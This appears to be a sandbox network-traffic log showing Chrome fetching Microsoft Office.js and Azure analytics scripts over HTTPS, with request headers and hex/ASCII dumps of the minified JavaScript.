2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 29 29 7b 76 61 72 20 74 2c 72 3d 64 2c 69 3d 65 2c 6f 3d 67 2c 61 3d 66 3b 69 66 28 49 26 26 21 76 26 26 43 63 2e 74 65 73 74 28 65 29 29 7b 76 61 72 20 75 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 63 3d 75 2e 6c 65 6e 67 74 68 3b 69 66 28 31 3c 63 29 7b 66 6f 72 28 76 61 72 20 6f 3d 6f 26 26 6f 2e 73 6c 69 63 65 28 29 2c 73 3d 30 3b 73 3c 63 2d 31 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 75 5b 73 5d 2c 61 3d 61 5b 6c 5d 3d 61 5b 6c 5d 7c 7c 7b 7d 3b 72 2b 3d 22 2e 22 2b 6c 2c 6f 26 26 6f 2e 70 75 73 68 28 6c 29 7d 69 3d 75 5b 63 2d 31 5d 7d 7d 28 65 3d 76 26 26 28 28 74 3d 53 5b 65 3d 72 5d 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 37 3c 3d 65 2e 6c 65 6e 67 74 68 26 26 28 74 3d 61 74 28 65 2c 22 65 78 74 2e 6d 65 74 61 64 61 74 61 22 29 7c 7c 61 74 28 Data Ascii: )){var t,r=d,i=e,o=g,a=f;if(I&&!v&&Cc.test(e)){var u=e.split("."),c=u.length;if(1<c){for(var o=o&&o.slice(),s=0;s<c-1;s++){var l=u[s],a=a[l]=a[l]\|\|{};r+="."+l,o&&o.push(l)}i=u[c-1]}}(e=v&&((t=S[e=r])===undefined&&(7<=e.length&&(t=at(e,"ext.metadata")\|\|at(
2024-07-16 11:07:20 UTC	10864	IN	Data Raw: 74 63 68 29 2c 69 26 26 72 3c 3d 51 26 26 28 51 3d 2d 31 2c 6b 3d 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 6c 61 74 65 6e 63 79 3a 72 2c 73 65 6e 64 54 79 70 65 3a 65 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 6e 7d 7d 2c 21 74 29 3a 28 51 3d 30 3c 3d 51 3f 4d 61 74 68 2e 6d 69 6e 28 51 2c 72 29 3a 72 2c 6b 3d 4d 61 74 68 2e 6d 61 78 28 6b 2c 6e 29 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 71 3d 7b 52 45 41 4c 5f 54 49 4d 45 3a 5b 32 2c 31 2c 30 5d 2c 4e 45 41 52 5f 52 45 41 4c 5f 54 49 4d 45 3a 5b 36 2c 33 2c 30 5d 2c 42 45 53 54 5f 45 46 46 4f 52 54 3a 5b 31 38 2c 39 2c 30 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 2c 72 3d 24 3f 59 3a 5a 3b 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: tch),i&&r<=Q&&(Q=-1,k=0)},function(){return{latency:r,sendType:e,sendReason:n}},!t):(Q=0<=Q?Math.min(Q,r):r,k=Math.max(k,n)),i}function n(){q={REAL_TIME:[2,1,0],NEAR_REAL_TIME:[6,3,0],BEST_EFFORT:[18,9,0]}}function e(e,n){var t=[],r=$?Y:Z;ie(e,function(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49986	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:20 UTC	505	OUT	GET /lib/1.1/hosted/office.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
2024-07-16 11:07:21 UTC	1442	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:20 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:15 GMT x-ms-request-id: db5a7ce4-d01e-004c-50a5-d45232000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.140,b=1105303243,c=g,n=US_NJ_SECAUCUS,o=20940],[c=p,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8c59c817.1720829172.41e196cb&TotalRTCDNTime=7&CompressionType=gzip&FileSize=19774"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=3, origin; dur=0 , cdntime; dur=3 Akamai-Cache-Status: Miss from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110720Z-15b94bb6ff9hrrl62bkz5rrpq000000003bg00000000aeqp x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT
2024-07-16 11:07:21 UTC	14942	IN	Data Raw: 38 30 30 30 0d 0a 76 61 72 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 29 20 7b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 44 61 74 65 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 45 6e 64 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 68 6f 73 74 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 Data Ascii: 8000var OSFPerformance;(function (OSFPerformance) { OSFPerformance.officeExecuteStartDate = 0; OSFPerformance.officeExecuteStart = 0; OSFPerformance.officeExecuteEnd = 0; OSFPerformance.hostInitializationStart = 0; OSFPerforma
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 62 65 72 73 2c 62 3d 61 2e 6c 65 6e 67 74 68 3b 63 2e 5f 6f 6e 65 72 72 6f 72 3d 64 3b 61 5b 62 5d 3d 67 3b 61 5b 62 2b 6d 5d 3d 65 3b 61 5b 62 2b 6a 5d 3d 66 3b 62 3d 3d 3d 30 26 26 63 2e 5f 73 74 61 74 65 26 26 6c 28 78 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 62 29 7b 76 61 72 20 61 3d 62 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 66 3d 62 2e 5f 73 74 61 74 65 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 65 2c 64 2c 67 3d 62 2e 5f 72 65 73 75 6c 74 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 3d 33 29 7b 65 3d 61 5b 63 5d 3b 64 3d 61 5b 63 2b 66 5d 3b 69 66 28 65 29 41 28 66 2c 65 2c 64 2c 67 29 3b 65 6c 73 65 20 64 28 67 29 7d 62 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2e 6c 65 6e 67 74 68 Data Ascii: bers,b=a.length;c._onerror=d;a[b]=g;a[b+m]=e;a[b+j]=f;b===0&&c._state&&l(x,c)}function x(b){var a=b._subscribers,f=b._state;if(a.length===0)return;for(var e,d,g=b._result,c=0;c<a.length;c+=3){e=a[c];d=a[c+f];if(e)A(f,e,d,g);else d(g)}b._subscribers.length
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 74 72 79 2e 6c 6f 67 41 70 70 43 6f 6d 6d 6f 6e 4d 65 73 73 61 67 65 28 22 67 65 74 41 70 70 43 6f 6e 74 65 78 74 41 73 79 6e 63 20 73 74 61 72 74 73 22 29 3b 69 2e 67 65 74 41 70 70 43 6f 6e 74 65 78 74 28 62 2c 61 29 7d 2c 47 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 45 28 29 3b 41 28 29 3b 69 66 28 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 3d 3d 22 77 65 62 22 26 26 63 2e 69 73 44 69 61 6c 6f 67 26 26 77 69 6e 64 6f 77 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 26 26 77 69 6e 64 6f 77 2e 6f 70 65 6e 65 72 3d 3d 62 29 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 66 2c 22 5f 73 65 6c 66 22 2c 66 29 3b 77 69 6e 64 6f 77 2e 63 6c 6f 73 65 28 29 7d 69 66 28 28 63 2e 66 6c 61 67 73 26 28 4f 53 46 2e 48 6f 73 74 49 6e 66 6f 46 6c 61 67 73 2e 53 68 61 72 65 64 41 70 70 7c 4f 53 Data Ascii: try.logAppCommonMessage("getAppContextAsync starts");i.getAppContext(b,a)},G=function(){E();A();if(c.hostPlatform=="web"&&c.isDialog&&window==window.top&&window.opener==b){window.open(f,"_self",f);window.close()}if((c.flags&(OSF.HostInfoFlags.SharedApp\|OS
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 65 6e 74 54 79 70 65 22 2c 65 2e 65 76 65 6e 74 54 79 70 65 29 2c 50 28 6e 2c 74 2c 22 50 69 6c 6c 61 72 22 2c 65 2e 70 69 6c 6c 61 72 29 2c 50 28 6e 2c 74 2c 22 53 63 65 6e 61 72 69 6f 22 2c 65 2e 73 63 65 6e 61 72 69 6f 29 2c 50 28 6e 2c 74 2c 22 56 65 74 6f 22 2c 65 2e 76 65 74 6f 29 2c 50 28 6e 2c 74 2c 22 45 72 72 6f 72 22 2c 65 2e 65 72 72 6f 72 29 2c 41 28 6e 2c 74 2c 22 49 6e 53 74 61 67 69 6e 67 22 2c 65 2e 69 6e 53 74 61 67 69 6e 67 29 2c 41 28 6e 2c 74 2c 22 49 73 53 65 73 73 69 6f 6e 45 6e 64 69 6e 67 45 72 72 6f 72 22 2c 65 2e 69 73 53 65 73 73 69 6f 6e 45 6e 64 69 6e 67 45 72 72 6f 72 29 2c 41 28 6e 2c 74 2c 22 49 73 49 6e 74 65 6e 74 69 6f 6e 61 6c 22 2c 65 2e 69 73 49 6e 74 65 6e 74 69 6f 6e 61 6c 29 2c 41 28 6e 2c 74 2c 22 49 73 49 6e 74 Data Ascii: entType",e.eventType),P(n,t,"Pillar",e.pillar),P(n,t,"Scenario",e.scenario),P(n,t,"Veto",e.veto),P(n,t,"Error",e.error),A(n,t,"InStaging",e.inStaging),A(n,t,"IsSessionEndingError",e.isSessionEndingError),A(n,t,"IsIntentional",e.isIntentional),A(n,t,"IsInt
2024-07-16 11:07:21 UTC	1063	IN	Data Raw: 63 6f 6e 63 61 74 28 74 68 69 73 2e 5f 70 61 72 65 6e 74 49 64 2c 22 2d 30 22 29 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 29 7d 2c 65 2e 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 6e 65 77 20 65 28 74 2c 6e 2c 72 29 3b 72 65 74 75 72 6e 20 69 2e 69 73 56 61 6c 69 64 28 29 3f 69 3a 76 6f 69 64 20 30 7d 2c 65 2e 63 72 65 61 74 65 4e 65 77 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 57 65 28 29 2c 42 65 28 29 2c 74 29 7d 2c 65 2e 70 61 72 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 78 65 2e 65 78 65 63 28 74 29 3b 69 66 28 6e 26 26 22 66 66 22 21 3d 3d 6e 5b 31 5d 26 26 28 22 30 30 22 21 3d 3d 6e 5b 31 5d 7c 7c 21 6e 5b 35 5d 29 29 Data Ascii: concat(this._parentId,"-0").concat(this._traceFlags)},e.create=function(t,n,r){var i=new e(t,n,r);return i.isValid()?i:void 0},e.createNew=function(t){return new e(We(),Be(),t)},e.parse=function(t){var n=xe.exec(t);if(n&&"ff"!==n[1]&&("00"!==n[1]\|\|!n[5]))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49985	13.107.246.60	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:20 UTC	393	OUT	GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:21 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:20 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 91802 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 01 Jul 2024 17:02:58 GMT ETag: 0x8DC99EFA85DE069 x-ms-request-id: 884fccf1-f01e-00f9-76d6-d3c3fd000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 3.2.18 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.shared.analytics.mectrl-3.2.18.gbl.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240716T110720Z-15b94bb6ff9tvjqg96dnhnr1ww000000060g00000000bx75 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-16 11:07:21 UTC	15402	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 53 68 61 72 65 64 20 41 6e 61 6c 79 74 69 63 73 2c 20 33 2e 32 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 7b 7d 2c 69 3d 22 5f 5f 6d 73 24 6d 6f 64 5f 5f 22 2c 6f 3d 7b 7d 2c 61 3d 6f 2e 65 73 6d 5f 6d 73 5f 73 68 61 72 65 64 5f 61 6e 61 6c 79 74 69 63 73 5f 6d 65 63 74 72 6c 5f 33 5f 32 5f 31 38 3d 7b 7d 2c 75 3d 22 33 2e 32 2e 31 38 22 2c 63 3d 22 6f 6e 65 44 73 4d 65 43 Data Ascii: /! 1DS JS SDK Shared Analytics, 3.2.18 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeC
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 20 74 7d 28 6f 2c 65 29 29 5b 6f 74 28 6e 29 5d 3d 74 29 2c 74 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 65 5b 6e 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 48 72 3d 22 74 6f 47 4d 54 53 74 72 69 6e 67 22 2c 6a 72 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 57 72 3d 22 63 6f 6f 6b 69 65 22 2c 58 72 3d 22 65 78 70 69 72 65 73 22 2c 47 72 3d 22 65 6e 61 62 6c 65 64 22 2c 51 72 3d 22 69 73 43 6f 6f 6b 69 65 55 73 65 44 69 73 61 62 6c 65 64 22 2c 4a 72 3d 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 55 73 61 67 65 22 2c 24 72 3d 22 5f 63 6b 4d 67 72 22 2c 5a 72 3d 6e 75 6c 6c 2c 59 72 3d 6e 75 6c 6c 2c 65 69 3d 6e 75 6c 6c 2c 6e Data Ascii: t}(o,e))[ot(n)]=t),t)},kill:function(e,n){if(e&&e[n])try{delete e[n]}catch(t){}}};return o}var Hr="toGMTString",jr="toUTCString",Wr="cookie",Xr="expires",Gr="enabled",Qr="isCookieUseDisabled",Jr="disableCookiesUsage",$r="_ckMgr",Zr=null,Yr=null,ei=null,n
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 29 26 26 28 61 3d 65 28 70 2c 70 5b 44 65 5d 28 29 29 29 2c 6f 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 70 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 70 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6e 65 5d 7d 2c 70 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 67 26 26 30 3c 72 5b 6e 65 5d 26 26 28 65 3d 72 2c 72 3d 5b 5d 2c 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 29 5b 46 5d 28 65 29 7d 29 29 7d 2c 70 2e 70 6f 6c 6c 49 6e 74 65 72 6e 61 6c 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 3d 65 7c 7c 6e 75 6c 6c 2c 4e 3d 21 31 2c 41 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 41 Data Ascii: )&&(a=e(p,p[De]())),o\|\|a\|\|null},p.setPerfMgr=function(e){o=e},p.eventCnt=function(){return r[ne]},p.releaseQueue=function(){var e;g&&0<r[ne]&&(e=r,r=[],ie(e,function(e){y()[F](e)}))},p.pollInternalLogs=function(e){return P=e\|\|null,N=!1,A&&(clearInterval(A
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 73 3a 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 7d 2c 7b 72 3a 63 2e 57 49 4e 52 54 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 20 52 54 22 7d 2c 7b 72 3a 63 2e 57 49 4e 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 22 7d 2c 7b 72 3a 63 2e 49 4f 53 2c 6f 73 3a 22 69 4f 53 22 7d 2c 7b 72 3a 63 2e 41 4e 44 52 4f 49 44 2c 6f 73 3a 22 41 6e 64 72 6f 69 64 22 7d 2c 7b 72 3a 63 2e 4c 49 4e 55 58 2c 6f 73 3a 22 4c 69 6e 75 78 22 7d 2c 7b 72 3a 63 2e 43 52 4f 53 2c 6f 73 3a 22 43 68 72 6f 6d 65 20 4f 53 22 7d 2c 7b 73 3a 22 78 31 31 22 2c 6f 73 3a 22 55 6e 69 78 22 7d 2c 7b 73 3a 22 62 6c 61 63 6b 62 65 72 72 79 22 2c 6f 73 3a 22 42 6c 61 63 6b 42 65 72 72 79 22 7d 2c 7b 73 3a 22 73 79 6d 62 69 61 6e 22 2c 6f 73 3a 22 53 79 6d 62 69 61 6e 22 7d 2c 7b 73 3a 22 6e 6f 6b 69 61 22 Data Ascii: s:"Windows Phone"},{r:c.WINRT,os:"Windows RT"},{r:c.WIN,os:"Windows"},{r:c.IOS,os:"iOS"},{r:c.ANDROID,os:"Android"},{r:c.LINUX,os:"Linux"},{r:c.CROS,os:"Chrome OS"},{s:"x11",os:"Unix"},{s:"blackberry",os:"BlackBerry"},{s:"symbian",os:"Symbian"},{s:"nokia"
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 29 29 7b 76 61 72 20 74 2c 72 3d 64 2c 69 3d 65 2c 6f 3d 67 2c 61 3d 66 3b 69 66 28 49 26 26 21 76 26 26 43 63 2e 74 65 73 74 28 65 29 29 7b 76 61 72 20 75 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 63 3d 75 2e 6c 65 6e 67 74 68 3b 69 66 28 31 3c 63 29 7b 66 6f 72 28 76 61 72 20 6f 3d 6f 26 26 6f 2e 73 6c 69 63 65 28 29 2c 73 3d 30 3b 73 3c 63 2d 31 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 75 5b 73 5d 2c 61 3d 61 5b 6c 5d 3d 61 5b 6c 5d 7c 7c 7b 7d 3b 72 2b 3d 22 2e 22 2b 6c 2c 6f 26 26 6f 2e 70 75 73 68 28 6c 29 7d 69 3d 75 5b 63 2d 31 5d 7d 7d 28 65 3d 76 26 26 28 28 74 3d 53 5b 65 3d 72 5d 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 37 3c 3d 65 2e 6c 65 6e 67 74 68 26 26 28 74 3d 61 74 28 65 2c 22 65 78 74 2e 6d 65 74 61 64 61 74 61 22 29 7c 7c 61 74 28 Data Ascii: )){var t,r=d,i=e,o=g,a=f;if(I&&!v&&Cc.test(e)){var u=e.split("."),c=u.length;if(1<c){for(var o=o&&o.slice(),s=0;s<c-1;s++){var l=u[s],a=a[l]=a[l]\|\|{};r+="."+l,o&&o.push(l)}i=u[c-1]}}(e=v&&((t=S[e=r])===undefined&&(7<=e.length&&(t=at(e,"ext.metadata")\|\|at(
2024-07-16 11:07:21 UTC	10864	IN	Data Raw: 74 63 68 29 2c 69 26 26 72 3c 3d 51 26 26 28 51 3d 2d 31 2c 6b 3d 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 6c 61 74 65 6e 63 79 3a 72 2c 73 65 6e 64 54 79 70 65 3a 65 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 6e 7d 7d 2c 21 74 29 3a 28 51 3d 30 3c 3d 51 3f 4d 61 74 68 2e 6d 69 6e 28 51 2c 72 29 3a 72 2c 6b 3d 4d 61 74 68 2e 6d 61 78 28 6b 2c 6e 29 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 71 3d 7b 52 45 41 4c 5f 54 49 4d 45 3a 5b 32 2c 31 2c 30 5d 2c 4e 45 41 52 5f 52 45 41 4c 5f 54 49 4d 45 3a 5b 36 2c 33 2c 30 5d 2c 42 45 53 54 5f 45 46 46 4f 52 54 3a 5b 31 38 2c 39 2c 30 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 2c 72 3d 24 3f 59 3a 5a 3b 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: tch),i&&r<=Q&&(Q=-1,k=0)},function(){return{latency:r,sendType:e,sendReason:n}},!t):(Q=0<=Q?Math.min(Q,r):r,k=Math.max(k,n)),i}function n(){q={REAL_TIME:[2,1,0],NEAR_REAL_TIME:[6,3,0],BEST_EFFORT:[18,9,0]}}function e(e,n){var t=[],r=$?Y:Z;ie(e,function(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49993	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:21 UTC	591	OUT	GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:21 UTC	1437	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:21 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:25 GMT x-ms-request-id: 1870592d-e01e-0078-5bcc-d461fa000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.136,b=527635887,c=g,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8859c817.1721086617.1f7315af&TotalRTCDNTime=6&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=125, origin; dur=0 , cdntime; dur=125 Akamai-Cache-Status: RefreshHit from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110721Z-15b94bb6ff9hrrl62bkz5rrpq000000003cg0000000092q1 x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT
2024-07-16 11:07:21 UTC	14947	IN	Data Raw: 31 62 34 37 0d 0a 2f 2a 0d 0a 09 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2a 2f 0d 0a 0d 0a 2f 2a 0d 0a 09 59 6f 75 72 20 75 73 65 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 74 68 65 20 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 66 6f 72 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 4a 61 76 61 53 63 72 69 70 74 20 28 4f 66 66 69 63 65 2e 6a 73 29 20 41 50 49 20 6c 69 62 72 61 72 79 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 66 66 69 63 65 44 65 76 2f 6f 66 66 69 63 65 2d 6a 73 2f 62 6c 6f 62 2f 72 65 6c 65 61 73 65 2f 4c 49 43 45 4e Data Ascii: 1b47/Copyright (c) Microsoft Corporation. All rights reserved.//*Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICEN
